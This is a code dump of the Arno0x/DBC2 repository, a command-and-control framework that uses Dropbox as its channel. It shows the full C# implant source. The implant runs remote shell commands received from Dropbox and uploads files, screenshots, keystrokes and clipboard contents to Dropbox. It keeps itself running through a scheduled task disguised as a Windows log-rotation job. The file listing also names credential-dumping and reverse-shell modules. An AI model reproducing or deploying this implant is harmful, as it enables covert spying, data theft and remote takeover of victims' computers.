Full Code of Arno0x/DBC2 for AI

master 953a402500dd cached
46 files
3.2 MB
834.1k tokens
200 symbols
1 requests
Download .txt
Showing preview only (3,337K chars total). Download the full file or copy to clipboard to get everything.
Repository: Arno0x/DBC2
Branch: master
Commit: 953a402500dd
Files: 46
Total size: 3.2 MB

Directory structure:
gitextract_hzmncq31/

├── .gitignore
├── agent/
│   └── source/
│       ├── crypto.cs
│       ├── dbc2_agent.cs
│       ├── dropboxHandler.cs
│       └── misc.cs
├── dbc2Loader/
│   ├── dbc2Loader.cs
│   ├── nativeWrapper/
│   │   ├── ConvertTo-Shellcode.ps1
│   │   ├── dbc2LoaderWrapperCLR.cpp
│   │   ├── dbc2LoaderWrapperCLR.h
│   │   └── readme.md
│   └── readme.md
├── dropboxC2.py
├── lib/
│   ├── __init__.py
│   ├── agentHandler.py
│   ├── console.py
│   ├── crypto.py
│   ├── dropboxHandler.py
│   ├── helpers.py
│   ├── mainHandler.py
│   ├── pollingThread.py
│   ├── stagers.py
│   └── statusHandler.py
├── modules/
│   ├── Fun.ps1
│   ├── Invoke-Mimikatz.ps1
│   ├── Invoke-NTLMAuth.ps1
│   ├── Invoke-PowerDump.ps1
│   ├── Invoke-ReflectivePEInjection.ps1
│   ├── Invoke-SendReverseShell.ps1
│   ├── MailRaider.ps1
│   ├── PowerView.ps1
│   ├── Powercat.ps1
│   └── dnscat2.ps1
├── readme.md
├── requirements.txt
└── templates/
    ├── batch.tpl
    ├── dbc2Loader.tpl
    ├── ducky.tpl
    ├── javascript.tpl
    ├── msbuild.tpl
    ├── oneliner.tpl
    ├── oneliner2.tpl
    ├── persist.tpl
    ├── posh.tpl
    ├── posh.tpl.old
    ├── runPSModule.tpl
    └── sct.tpl

================================================
FILE CONTENTS
================================================

================================================
FILE: .gitignore
================================================
/temp
/incoming
*.pyc
myconfig.py
config.py


================================================
FILE: agent/source/crypto.cs
================================================
/*
Author: Arno0x0x, Twitter: @Arno0x0x
*/
using System;
using System.IO;
using System.Security.Cryptography;

namespace dropboxc2
{
    //****************************************************************************************
    // Class handling AES-128 CBC with PCKS7 padding cryptographic operations
    //****************************************************************************************
    static class Crypto
    {
        public static T[] SubArray<T>(this T[] data, int index, int length)
        {
            T[] result = new T[length];
            Array.Copy(data, index, result, 0, length);
            return result;
        }

        public static byte[] GetMD5Hash(byte[] source)
        {
            return new MD5CryptoServiceProvider().ComputeHash(source);
        }

        //--------------------------------------------------------------------------------------------------
        // Encrypts the given plaintext message byte array with a given 128 bits key
        // Returns the encrypted message as follow:
        // :==============:==================================================:
        // : IV(16bytes)  :   Encrypted(data + PKCS7 padding information)    :
        // :==============:==================================================:
        //--------------------------------------------------------------------------------------------------
        static public byte[] EncryptData(byte[] plainMessage, byte[] key)
        {
            #if (DEBUG)
                Console.WriteLine("\t\t[Crypto.EncryptData] Encrypting data...");
            #endif

            // Generate a random IV of 16 bytes
            RNGCryptoServiceProvider rngCsp = new RNGCryptoServiceProvider();
            byte[] IV = new byte[16];
            rngCsp.GetBytes(IV);
            //byte[] cipher = null;

            // Create an AesManaged object with the specified key and IV.
            using (AesManaged aes = new AesManaged())
            {
                aes.Padding = PaddingMode.PKCS7;
                aes.KeySize = 128;
                aes.Key = key;
                aes.IV = IV;

                using (MemoryStream ms = new MemoryStream())
                {
                    using (CryptoStream cs = new CryptoStream(ms, aes.CreateEncryptor(), CryptoStreamMode.Write))
                    {
                        cs.Write(IV, 0, 16);
                        cs.Write(plainMessage, 0, plainMessage.Length);
                    }

                    #if (DEBUG)
                        Console.WriteLine("\t\t[Crypto.EncryptData] Data encrypted");
                    #endif
                    return ms.ToArray();
                }
            }
        }

        //--------------------------------------------------------------------------------------------------
        // Decrypts the given a plaintext message byte array with a given 128 bits key
        // Returns the unencrypted message
        //--------------------------------------------------------------------------------------------------
        static public byte[] DecryptData(byte[] cipher, byte[] key)
        {
            #if (DEBUG)
                Console.WriteLine("\t\t[Crypto.DecryptData] Decrypting data...");
            #endif

            var IV = cipher.SubArray(0, 16);
            var encryptedMessage = cipher.SubArray(16, cipher.Length - 16);

            // Create an AesManaged object with the specified key and IV.
            using (AesManaged aes = new AesManaged())
            {
                aes.Padding = PaddingMode.PKCS7;
                aes.KeySize = 128;
                aes.Key = key;
                aes.IV = IV;

                using (MemoryStream ms = new MemoryStream())
                {
                    using (CryptoStream cs = new CryptoStream(ms, aes.CreateDecryptor(), CryptoStreamMode.Write))
                    {
                        cs.Write(encryptedMessage, 0, encryptedMessage.Length);
                    }

                    #if (DEBUG)
                          Console.WriteLine("\t\t[Crypto.DecryptData] Data decrypted");
                    #endif

                    return ms.ToArray();
                }
            }
        }
    }
}

================================================
FILE: agent/source/dbc2_agent.cs
================================================
/*
Author: Arno0x0x, Twitter: @Arno0x0x

================================ Compile as an EXE for x64 platform ==============================
	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe /out:dbc2_agent.exe *.cs

Or, with debug information:
	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe /define:DEBUG /out:dbc2_agent_debug.exe *.cs

================================ Compile as an EXE for x86 platform ==============================
	C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe /out:dbc2_agent.exe *.cs

Or, with debug information:
	C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe /define:DEBUG /out:dbc2_agent_debug.exe *.cs

================================ Compile as a .Net DLL for x86 platform ==============================
Can be used with DotNetToJScript:
	C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe /target:library /out:dbc2_agent.dll *.cs

Then:
	DotNetToJScript.exe --ver=auto -l JScript -c dropboxc2.C2_Agent dbc2_agent.dll > dbc2.js

===================== Compile as a DLL with exported function for unmanaged code =================
This requires the use of the RGiesecke.DllExport nugget package. Code must be compiled from VisualStudio
with the DLLEXPORT defined flag

*/

using System;
using System.Threading;
using System.IO;
using System.Text;
using System.Management;
using System.Net.NetworkInformation;
using System.Diagnostics;
using System.Runtime.InteropServices;

#if (DLLEXPORT)
using RGiesecke.DllExport;
#endif

namespace dropboxc2
{
    //****************************************************************************************
    // Main class
    //****************************************************************************************
	[ComVisible(true)]
    public class C2_Agent
    {
        //--------------------------------------------------------------------------------------------------
        // Class global variables
		string accessToken = String.Empty;
        byte[] cryptoKey;
		
        Mutex mutex = null; // Mutex used to ensure there's only one agent running at a time
        int pollingPeriod = 8000; // Nominal polling period in milliseconds
        int deviation = 20; // Deviation is a percentage of variation around the polling period
        int sleepTime = 0; // Actual sleeping period: a random result based on the pollingPeriod and the deviation
        string agentID = String.Empty;
        string c2StatusFile = String.Empty; // The status file that will be used to notify about the agent status
        string c2StatusFileLastRevNumber = String.Empty; // The last revision number for the status file
        string c2CmdFile = String.Empty; // The Command file that will be used to receive commands
        string c2CmdFileLastRevNumber = String.Empty; // The last revision number for the command file
        StringBuilder keylogged; // All data logged by the keylogger thread
        StringBuilder clipboardLogged; // All data logged by the clipboard logger thread

        //--------------------------------------------------------------------------------------------------
        // Shell mode variables
        bool shellMode = false;
        Process shellProcess = null; // The child process used for a more interactive shell
        private static StringBuilder shellOutput = new StringBuilder();
        int savedPollingPeriod = 0;
        int savedDeviation = 0;
		
		//==================================================================================================
        // Constructors of the DBC2 agent
        //==================================================================================================
		public C2_Agent(string[] args) 
		{
			//---------------------------------------------------------------------
            // Check arguments have been passed
            if (args.Length == 2)
            {
                // Retrieve AccessToken and CryptoKey from passed arguments
                accessToken = args[0];
                cryptoKey = Convert.FromBase64String(args[1]);
				Run();
            }
            else
            {
				// If missing arguments, we should return....
                return;
            }
		}

        //==================================================================================================
        // Static entry point for the program as an executable, also exported for use as a DLL
        //==================================================================================================
#if (DLLEXPORT)
        [DllExport("dbc2", CallingConvention = CallingConvention.Cdecl)]
#endif
        public static void Main(string[] args)
        {
			C2_Agent c2_agent = new C2_Agent(args);
		}
		
		//==================================================================================================
        // Main function
        //==================================================================================================
		private void Run()
		{
            // Get a unique ID for the machine this agent is running on
            agentID = createAgentID();
            mutex = new Mutex(false, @"Global\" + agentID);

            // Check if another instance of an agent is already running
            if(!mutex.WaitOne(0, false))
            {
#if (DEBUG)
                Console.WriteLine("[ERROR] Another instance of the agent is already running");
#endif
                return;
            }
                        
            //---------------------------------------------------------------------
#if (DEBUG)
            Console.WriteLine("------------ AGENT STARTING ------------");
#endif
                     
            // Break flag used to exit the agent
            bool breakFlag = false;

            
            c2StatusFile = "/" + agentID + ".status";
            c2CmdFile = "/" + agentID + ".cmd";

            // Initializing a DropboxHandler object to handle all communications with the Dropbox C2 server
            DropboxHandler dropboxHandler = new DropboxHandler(accessToken);

            #if (DEBUG)
                Console.WriteLine("[Main] Uploading status and command file to the C2 server");
            #endif

            // Create the c2StatusFile and c2CmdFile on the Dropbox server. These files act as an unique identifier for this agent
            // as well as a receiver for commands from the server
            c2CmdFileLastRevNumber = dropboxHandler.putFile(c2CmdFile, Encoding.ASCII.GetBytes(""));
            c2StatusFileLastRevNumber = dropboxHandler.putFile(c2StatusFile, Encoding.ASCII.GetBytes(""));

            if (c2StatusFileLastRevNumber == String.Empty || c2CmdFileLastRevNumber == String.Empty)
            {
#if (DEBUG)
                Console.WriteLine("[Main][ERROR] Cannot create files on the C2 server");
#endif

                breakFlag = true;
            }
            else {
#if (DEBUG)
                Console.WriteLine("[Main] C2 Files created - Agent ready");
#endif
            }

            // Set initial sleep time to the nominal polling period with a deviation
            sleepTime = getRandomPeriod();

            //---------------------------------------------------------------------------------
            // Main loop
            //---------------------------------------------------------------------------------
            while (!breakFlag)
            {
#if (DEBUG)
                Console.WriteLine("[Main loop] Going to sleep for " + sleepTime / 1000 + " seconds");
#endif
                // Wait for the polling period to time out
                Thread.Sleep(sleepTime);
#if (DEBUG)
                Console.WriteLine("[Main loop] Waking up");
#endif

                // Calculate next sleep time
                sleepTime = getRandomPeriod();

                //----------------------------------------------------------------------------
                // Check if we're in shellMode
                if (shellMode)
                {
                    // So we're in shell mode, is there some shell output to push to the C2 ?
                    int currentLength = shellOutput.Length;
                    if (currentLength > 0)
                    {
                        string output = shellOutput.ToString(0, currentLength);
                        shellOutput.Remove(0, currentLength);
                        dropboxHandler.putFile("/" + agentID + ".dd", Crypto.EncryptData(Encoding.UTF8.GetBytes(output), cryptoKey));
                    }
                }

                //----------------------------------------------------------------------------
                // At each cycle, 'touch' the status file to show the agent is alive = beaconing
                c2StatusFileLastRevNumber = dropboxHandler.putFile(c2StatusFile, Encoding.ASCII.GetBytes("READY - " + DateTime.Now.ToString()));

                // Check the c2 command File revision number
                string revNumber = dropboxHandler.getRevNumber(c2CmdFile);
                if (revNumber == String.Empty)
                {
#if (DEBUG)
                    Console.WriteLine("[Main loop][ERROR] Unable to get the revision number for the command file");
#endif
                    // There was an error retrieving the last revision number, skip this turn
                    continue;
                }

                //----------------------------------------------------------------------------
                // If the revision number is different, that means there's a new command to be treated
                if (revNumber != c2CmdFileLastRevNumber)
                {
#if (DEBUG)
                    Console.WriteLine("[Main loop] Command file has a new revision number: [" + revNumber + "]");
#endif

                    c2CmdFileLastRevNumber = revNumber;

                    // Read the content of the C2 file
                    string content = Encoding.UTF8.GetString(Crypto.DecryptData(dropboxHandler.readFile(c2CmdFile), cryptoKey));
                    if (content == String.Empty)
                    {
#if (DEBUG)
                        Console.WriteLine("[Main loop][ERROR] C2 command file on the server seems empty...");
#endif
                        continue;
                    }

                    //---------------------------------------------------------------------------------------------------
                    // Parse the received command to extract all required fields
                    StringReader strReader = new StringReader(content);
                    string result = String.Empty;
                    string command = strReader.ReadLine();
                    string taskID = strReader.ReadLine();
                    string taskResultFile = "/" + agentID + "." + taskID;

#if (DEBUG)
                    Console.WriteLine("[Main loop] Command to execute: [" + command + "]");
#endif

                    //---------------------------------------------------------------------------------------------------
                    // Command routing
                    //---------------------------------------------------------------------------------------------------
                    switch (command)
                    {
                        case "shell":
                            string shellCommand = strReader.ReadLine();
                            shellMode = true;

#if (DEBUG)
                            Console.WriteLine("\t[shell] Executing: [" + shellCommand + "]");
#endif

                            // Send the command to the child process
                            runShell(shellCommand);
                            break;

                        case "runCLI":
                            string commandLine = strReader.ReadLine();

#if (DEBUG)
                            Console.WriteLine("\t[runCLI] Executing: [" + commandLine + "]");
#endif

                            // Execute the command
                            result = runCMD(commandLine);

                            if (result == null)
                            {
                                result = "ERROR - COULD NOT EXECUTE COMMAND:" + commandLine;
#if (DEBUG)
                                Console.WriteLine("\t[runCLI][ERROR] External command did not executed properly");
#endif
                            }

                            // Push the command result to the C2 server
                            dropboxHandler.putFile(taskResultFile, Crypto.EncryptData(Encoding.UTF8.GetBytes(result), cryptoKey));
                            break;

                        case "launchProcess":
                            string exeName = strReader.ReadLine();
                            string arguments = strReader.ReadLine();

#if (DEBUG)
                            Console.WriteLine("\t[launchProcess] Executing: [" + exeName + " " + arguments + "]");
#endif

                            // Execute the command
                            if (launchProcess(exeName, arguments))
                            {
                                result = "OK - PROCESS STARTED: " + exeName + arguments;
                            } else
                            {
                                result = "ERROR - COULD NOT EXECUTE: " + exeName + " " + arguments;
#if (DEBUG)
                                Console.WriteLine("\t[launchProcess][ERROR] External command did not executed properly");
#endif
                            }

                            // Push the command result to the C2 server
                            dropboxHandler.putFile(taskResultFile, Crypto.EncryptData(Encoding.ASCII.GetBytes(result), cryptoKey));
                            break;

                        case "sendFile":
                            string localFile = strReader.ReadLine();
                            string remoteFile = taskResultFile + ".rsc";

#if (DEBUG)
                            Console.WriteLine("\t[sendFile] Uploading file [" + localFile + "] to [" + remoteFile + "]");
#endif

                            if (File.Exists(localFile))
                            {
                                // First push the wanted local file to the C2 server
                                dropboxHandler.putFile(remoteFile, Crypto.EncryptData(File.ReadAllBytes(localFile), cryptoKey));

#if (DEBUG)
                                Console.WriteLine("\t[sendFile] File uploaded");
#endif

                                // The task result is the path to the uploaded resource file
                                result = remoteFile;

                            } else
                            {
                                // Push the command result to the C2 server
                                result = "ERROR - FILE NOT FOUND: " + localFile;
#if (DEBUG)
                                Console.WriteLine("\t[sendFile][ERROR] Command did not executed properly. Localfile not found : [" + localFile + "]");
#endif
                            }

                            // Push the command result to the C2 server
                            dropboxHandler.putFile(taskResultFile, Crypto.EncryptData(Encoding.ASCII.GetBytes(result), cryptoKey));
                            break;

                        case "downloadFile":
                            remoteFile = strReader.ReadLine();
                            string localPath = strReader.ReadLine();
                            string fileName = strReader.ReadLine();

                            if (localPath == "temp")
                            {
                                localPath = Path.GetTempPath();
                            }

#if (DEBUG)
                            Console.WriteLine("\t[downloadFile] Downloading file from [" + remoteFile + "] to [" + localPath + fileName + "]");
#endif

                            if (dropboxHandler.downloadFile(remoteFile, localPath + fileName))
                            {
#if (DEBUG)
                                Console.WriteLine("\t[downloadFile] File downloaded");
#endif
                                result = "OK - FILE DOWNLOADED AT: " + localPath + fileName;
                            } else
                            {
#if (DEBUG)
                                Console.WriteLine("\t[downloadFile][ERROR] Could not download file");
#endif
                                result = "ERROR - COULD NOT WRITE FILE AT LOCATION: " + localPath + fileName;
                            }

                            // remote file must be deleted
                            dropboxHandler.deleteFile(remoteFile);

                            // Push the command result to the C2 server
                            dropboxHandler.putFile(taskResultFile, Crypto.EncryptData(Encoding.ASCII.GetBytes(result), cryptoKey));
                            break;

                        case "sleep":
                            int requestedSleepTime;
                            string value = strReader.ReadLine();
                            if (Int32.TryParse(value, out requestedSleepTime))
                            {
                                sleepTime = requestedSleepTime * 60 * 1000;

#if (DEBUG)
                                Console.WriteLine("\t[sleep] Next sleep is: " + sleepTime + " minute(s)");
#endif

                                // Compute wake up time
                                DateTime wakeUpTime = DateTime.Now.AddMinutes(sleepTime);
                                result = "SLEEPING" + "," + wakeUpTime.ToUniversalTime().ToString("yyyy-MM-ddTHH:mm:ssZ");

                                c2StatusFileLastRevNumber = dropboxHandler.putFile(c2StatusFile, Encoding.ASCII.GetBytes(result));
                            } else
                            {
#if (DEBUG)
                                Console.WriteLine("\t[sleep][ERROR] Invalid amount of time specified [" + value + "]");
#endif
                                result = "ERROR - INVALID AMOUNT OF TIME FOR SLEEP: " + value;
                            }

                            // Push the command result to the C2 server
                            dropboxHandler.putFile(taskResultFile, Crypto.EncryptData(Encoding.ASCII.GetBytes(result), cryptoKey));
                            break;

                        case "polling":
                            int requestedPeriod, requestDeviation;
                            string value1 = strReader.ReadLine();
                            string value2 = strReader.ReadLine();
                            if (Int32.TryParse(value1, out requestedPeriod) && Int32.TryParse(value2, out requestDeviation))
                            {
                                pollingPeriod = requestedPeriod * 1000;
                                deviation = requestDeviation;

#if (DEBUG)
                                Console.WriteLine("\t[polling] Polling period changed to {0}s with a deviation of {1}% ", pollingPeriod, deviation);
#endif

                                result = "OK - PERIOD AND DEVIATION CHANGED";
                            }
                            else
                            {
#if (DEBUG)
                                Console.WriteLine("\t[polling][ERROR] Invalid value for period or deviation [{0}] / [{1}] of {1}% ", value1, value2);
#endif
                                result = "ERROR - INVALID INTEGER VALUE FOR PERIOD AND/OR DEVIATION: " + value1 + value2;
                            }

                            // Push the command result to the C2 server
                            dropboxHandler.putFile(taskResultFile, Crypto.EncryptData(Encoding.ASCII.GetBytes(result), cryptoKey));
                            break;

                        case "screenshot":
                            // Set the screenshot file name on the C2 server
                            remoteFile = taskResultFile + ".rsc";

#if (DEBUG)
                            Console.WriteLine("\t[screenshot] Taking screenshot and converting it to a JPG image");
#endif

                            // Push the image to the C2 server
                            dropboxHandler.putFile(remoteFile, Crypto.EncryptData(Screenshot.takeScreenShot(), cryptoKey));

                            // The task result is the path to the uploaded screenshot file
                            result = remoteFile;

#if (DEBUG)
                            Console.WriteLine("\t[screenshot] Uploading JPG screenshot to [" + remoteFile + "]");
#endif

                            // Push the command result to the C2 server
                            dropboxHandler.putFile(taskResultFile, Crypto.EncryptData(Encoding.ASCII.GetBytes(result), cryptoKey));
                            break;

                        case "keylogger":
                            string action = strReader.ReadLine();

                            if (action == "start")
                            {
                                keylogged = new StringBuilder();
                                // Start the keylogging function
                                KeyLogger.OnKeyDown += key => { keylogged.Append("d[" + key + "]\n"); };
                                KeyLogger.OnKeyUp += key => { keylogged.Append("u[" + key + "]\n"); };
                                KeyLogger.Start();
#if (DEBUG)
                                Console.WriteLine("\t[keylogger] KeyLogger started");
#endif

                                result = "OK - KeyLogger started";
                            }
                            else
                            {
                                KeyLogger.Stop();
                                result = keylogged.ToString();
                                keylogged.Clear();
#if (DEBUG)
                                Console.WriteLine("\t[keylogger] KeyLogger stopped");
#endif
                            }

                            // Push the command result to the C2 server
                            dropboxHandler.putFile(taskResultFile, Crypto.EncryptData(Encoding.ASCII.GetBytes(result), cryptoKey));
                            break;

                        case "clipboardlogger":
                            action = strReader.ReadLine();

                            if (action == "start")
                            {
                                clipboardLogged = new StringBuilder();
                                // Start the keylogging function
                                ClipboardLogger.OnKeyBoardEvent += text => { clipboardLogged.Append(text+"\n");};
                                ClipboardLogger.Start();
#if (DEBUG)
                                Console.WriteLine("\t[clipboardlogger] Clipboard Logger started");
#endif

                                result = "OK - Clipboard logger started";
                            }
                            else
                            {
                                ClipboardLogger.Stop();
                                result = clipboardLogged.ToString();
                                clipboardLogged.Clear();
#if (DEBUG)
                                Console.WriteLine("\t[clipboardlogger] Clipboard logger stopped");
#endif
                            }

                            // Push the command result to the C2 server
                            dropboxHandler.putFile(taskResultFile, Crypto.EncryptData(Encoding.ASCII.GetBytes(result), cryptoKey));
                            break;

                        case "sendkeystrokes":
                            string procName = strReader.ReadLine();
                            string keys = strReader.ReadLine();

                            Process[] pList= Process.GetProcessesByName(procName);

                            if( pList.Length > 0)
                            {
                                Process p = pList[0];

#if (DEBUG)
                                Console.WriteLine("\t[sendkeystrokes] Sending key strokes to process " + procName + "\n" + keys);
#endif
                                if (KeyStrokes.sendKeyStrokes(p, keys))
                                {
                                    result = "OK - Key strokes sent to process " + procName;
                                }
                                else
                                {
                                    result = "ERROR - Could not send key strokes to the process, probably wrong keystrokes sequence";
                                }
                                
                            }
                            else
                            {
#if (DEBUG)
                                Console.WriteLine("\t[sendkeystrokes] Error, could not find process with name " + procName);
#endif
                                result = "ERROR - Could not find a process with name " + procName;
                            }

                            // Push the command result to the C2 server
                            dropboxHandler.putFile(taskResultFile, Crypto.EncryptData(Encoding.ASCII.GetBytes(result), cryptoKey));
                            break;

                        case "persist":
                            // Get the current command line through which the stage was started, and 
                            string oneLiner = Environment.CommandLine;
#if (DEBUG)
                            Console.WriteLine("\t[persist] Setting agent persistency through scheduled task");
#endif
                            // Create a fake/misleading batch script in the user's profile
                            string fileDir = Environment.ExpandEnvironmentVariables(@"%USERPROFILE%\AppData\Local\WindowsUserLogRotate");
                            Directory.CreateDirectory(fileDir);
                            string filePath = fileDir + @"\logrotate.bat";
                            System.IO.File.WriteAllText(filePath, oneLiner);

                            commandLine = "schtasks /create /TN 'WindowsUserLogRotate' /TR '" + filePath +"' /SC ONIDLE /i 20";
                            result = runCMD(commandLine);

                            // Push the command result to the C2 server
                            dropboxHandler.putFile(taskResultFile, Crypto.EncryptData(Encoding.UTF8.GetBytes(result), cryptoKey));
                            break;

                        case "stop":
#if (DEBUG)
                            Console.WriteLine("\t[stop] Stopping agent");
#endif

                            result = "OK - STOPPING";
                            // Push the command result to the C2 server
                            dropboxHandler.putFile(taskResultFile, Crypto.EncryptData(Encoding.ASCII.GetBytes(result), cryptoKey));

                            breakFlag = true;
                            break;
                    }
                } else
                {
#if (DEBUG)
                    Console.WriteLine("[Main loop] revNumber [" + revNumber + "] hasn't changed, nothing to treat");
#endif
                }
            }
#if (DEBUG)
            Console.WriteLine("[Main] Exiting... ");
#endif
        }

        //==================================================================================================
        // This method returns a random pollingPeriod using an average value and a deviation around that value
        //==================================================================================================
        private int getRandomPeriod()
        {
            Random random = new Random((int)DateTime.Now.Ticks);
            return random.Next(pollingPeriod - pollingPeriod * deviation / 100, pollingPeriod + pollingPeriod * deviation / 100); // Current sleep time, if agent is sleeping, this value increases
        }

        ///==================================================================================================
        // This method runs a command in a spawned child process (powershell.exe). The child process is
        // kept alive until it is explicitely exited. This allows for contextual commands and persistent
        // environment between commands.
        //==================================================================================================
        private void runShell(string command)
        {
            try
            {
                // Check if we already have a shell child process running
                // If not, start it and create the output and error data received callback
                if (shellProcess == null) {

                    // Save the current period and deviation
                    savedPollingPeriod = pollingPeriod;
                    savedDeviation = deviation;

                    // Set a shorter polling perdio for better interaction
                    pollingPeriod = 2000;
                    deviation = 0;

#if (DEBUG)
                    Console.WriteLine("\t\t[runShellCmd] Spawning a child process");
#endif

                    ProcessStartInfo procStartInfo = new ProcessStartInfo();
                    procStartInfo.UseShellExecute = false;
                    procStartInfo.RedirectStandardInput = true;
                    procStartInfo.RedirectStandardOutput = true;
                    procStartInfo.RedirectStandardError = true;
                    procStartInfo.FileName = "powershell.exe";
                    procStartInfo.Arguments = "\"-\"";
                    procStartInfo.CreateNoWindow = true;
                    procStartInfo.ErrorDialog = false;

                    shellProcess = new Process();
                    shellProcess.StartInfo = procStartInfo;
                    shellProcess.EnableRaisingEvents = true;

                    shellProcess.OutputDataReceived += (sender, e) =>
                    {
                        if (!String.IsNullOrEmpty(e.Data))
                        {
#if (DEBUG)
                            Console.WriteLine(e.Data);
#endif
                            shellOutput.Append(e.Data + "\n");
                        }
                    };

                    shellProcess.ErrorDataReceived += (sender, e) =>
                    {
                        if (!String.IsNullOrEmpty(e.Data))
                        {
#if (DEBUG)
                            Console.WriteLine(e.Data);
#endif
                            shellOutput.Append(e.Data + "\n");
                        }
                    };

                    shellProcess.Exited += (sender, e) =>
                    {
                        shellMode = false;
                        pollingPeriod = savedPollingPeriod;
                        deviation = savedDeviation;
                        shellOutput.Clear();
                        shellProcess = null;
                    };

                    shellProcess.Start();
                    shellProcess.BeginOutputReadLine();
                    shellProcess.BeginErrorReadLine();
                }

                // Write the command to stdin
                shellProcess.StandardInput.WriteLine(command);
            }
            catch (Exception ex)
            {
                // Log the exception
#if (DEBUG)
                while (ex != null)
                {
                    Console.WriteLine("[ERROR] " + ex.Message);
                    ex = ex.InnerException;
                }
#endif
            }
        }

        //==================================================================================================
        // This method runs an external command line on the sytem, using the windows interpreter (cmd.exe).
        // It returns the command result (output or error)
        //==================================================================================================
        private string runCMD(string command)
        {
            string result = null;
            try
            {
                // create the ProcessStartInfo using "cmd" as the program to be run and "/c " as the parameters.
                // Incidentally, /c tells cmd that we want it to execute the command that follows and then exit.
                ProcessStartInfo procStartInfo = new ProcessStartInfo("cmd", "/c " + command);

                // Redirect both the standard output and the standard error stream
                // This means that it will be redirected to the Process.StandardOutput StreamReader.
                procStartInfo.RedirectStandardOutput = true;
                procStartInfo.RedirectStandardError = true;
                procStartInfo.UseShellExecute = false;

                // Run silently, do not create a console window
                procStartInfo.CreateNoWindow = true;

                // Create a process, assign its ProcessStartInfo and start it
                System.Diagnostics.Process proc = new Process();
                proc.StartInfo = procStartInfo;
                proc.Start();

                // Get the output into a string
                result = proc.StandardOutput.ReadToEnd();
                proc.WaitForExit();

                // If there was an error, read the standard error stream
                if (proc.ExitCode != 0) result += proc.StandardError.ReadToEnd();

                // Return the command output
                return result;
            }
            catch (Exception ex)
            {
                // Log the exception
                #if (DEBUG)
                    while (ex != null)
                    {
                        Console.WriteLine("[ERROR] " + ex.Message);
                        ex = ex.InnerException;
                    }
                #endif
                return result;
            }
        }

        //==================================================================================================
        // This method launches an external executable.
        // It returns true if the process was launched, false otherwise
        //==================================================================================================
        private bool launchProcess(string exeName, string args)
        {
            try
            {
                ProcessStartInfo procStartInfo = new ProcessStartInfo(exeName, args);
                procStartInfo.UseShellExecute = false;

                // Run silently, do not create a console window
                procStartInfo.CreateNoWindow = true;

                // Create a process, assign its ProcessStartInfo and start it
                System.Diagnostics.Process proc = new System.Diagnostics.Process();
                proc.StartInfo = procStartInfo;
                proc.Start();

                return true;
            }
            catch (Exception ex)
            {
                // Log the exception
#if (DEBUG)
                while (ex != null)
                {
                    Console.WriteLine("[ERROR] " + ex.Message);
                    ex = ex.InnerException;
                }
#endif
                return false;
            }
        }

        //==================================================================================================
        // createAgentID method
        // This method returns a unique ID for the machine it's running on.
        // Ideally, the ID has to be unique worldwide as multiple agents may run on various machine and refer to the same C2 server
        //==================================================================================================
        private string createAgentID()
        {
            string uniqueID = string.Empty;

            //-------------------------------------------------------------
            // First, get the CPU ID. Only the first CPU ID gets retrieved
            string cpuID = string.Empty;
            ManagementClass mc = new ManagementClass("win32_processor");
            ManagementObjectCollection moc = mc.GetInstances();

            foreach (ManagementObject mo in moc)
            {
                if (cpuID == "")
                {
                    cpuID = mo.Properties["processorID"].Value.ToString();
                }
            }

            //-------------------------------------------------------------
            // Second, get the MAC address from the first NIC interface found
            string sMacAddress = string.Empty;
            NetworkInterface[] nics = NetworkInterface.GetAllNetworkInterfaces();
            foreach (NetworkInterface adapter in nics)
            {
                if (sMacAddress == String.Empty)// only return MAC Address from first card  
                {
                    //IPInterfaceProperties properties = adapter.GetIPProperties(); Line is not required
                    sMacAddress = adapter.GetPhysicalAddress().ToString();
                }
            }

            //-------------------------------------------------------------
            // Eventually, compute a MD5 hash of both cpuID and sMacAddress
            byte[] tmpSource, tmpHash;
            tmpSource = Encoding.Unicode.GetBytes(cpuID + sMacAddress);
            tmpHash = Crypto.GetMD5Hash(tmpSource);
            uniqueID = BitConverter.ToString(tmpHash).Replace("-", string.Empty).ToLower();

            return uniqueID;
        }
    }   
}

================================================
FILE: agent/source/dropboxHandler.cs
================================================
/*
Author: Arno0x0x, Twitter: @Arno0x0x
*/
using System;
using System.Net;
using System.Text;
using System.Collections;
using System.Web.Script.Serialization;

namespace dropboxc2
{
	//****************************************************************************************
    // Class handling all communications with the Dropbox server
    //****************************************************************************************
    class DropboxHandler
    {
        WebClient webClient; // WebClient object to communicate with the C2 server
        string accessToken; // Dropbox API access token
        string authorizationHeader;

        // List of Dropbox API URL entry points
        static Hashtable dropboxAPI = new Hashtable() {
            {"listFolder", "https://api.dropboxapi.com/2/files/list_folder" },
            {"move","https://api.dropboxapi.com/2/files/move" },
            {"uploadFile", "https://content.dropboxapi.com/2/files/upload" },
            {"downloadFile", "https://content.dropboxapi.com/2/files/download" },
            {"deleteFile", "https://api.dropboxapi.com/2/files/delete" },
            {"getMetaData", "https://api.dropboxapi.com/2/files/get_metadata" }
        };

        //--------------------------------------------------------------------------------------------------
        // Constructor method
        //--------------------------------------------------------------------------------------------------
        public DropboxHandler (string token)
        {
            accessToken = token;
            authorizationHeader = "Bearer " + accessToken;

            // Create a WebClient object to communicate with the C2 server
            webClient = new WebClient();

            //------------------------------------------------------------------
            // Check if an HTTP proxy is configured on the system, if so, use it
            
            IWebProxy defaultProxy = WebRequest.DefaultWebProxy;
            if (defaultProxy != null)
            {
                defaultProxy.Credentials = CredentialCache.DefaultCredentials;
                webClient.Proxy = defaultProxy;
            }
            
            // Set the Authorization header used for all API requests
            webClient.Headers.Add("Authorization", authorizationHeader);
			
			// Set the User-Agent header used for all API requests
			webClient.Headers.Add("User-Agent", "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:49.0) Gecko/20100101 Firefox/49.0");
        }

        //--------------------------------------------------------------------------------------------------
        // Creates a file on the C2 server at the given path, containing the given bytes.
        // Returns the revision number for the file created.
        //--------------------------------------------------------------------------------------------------
        public string putFile (string path, byte[] data)
        {
            #if (DEBUG)
                Console.WriteLine("\t\t[DropboxHandler.putFile] Uploading file...");
            #endif

            string command = @"{""path"": """ + path + @""",""mode"": ""overwrite"",""autorename"": false,""mute"": true}";
            string revNumber = String.Empty;

            webClient.Headers["Content-Type"] = "application/octet-stream";
            webClient.Headers["Dropbox-API-Arg"] = command;

            try
            {
                byte[] responseArray = webClient.UploadData((string)dropboxAPI["uploadFile"], data);

                JavaScriptSerializer serializer = new JavaScriptSerializer();
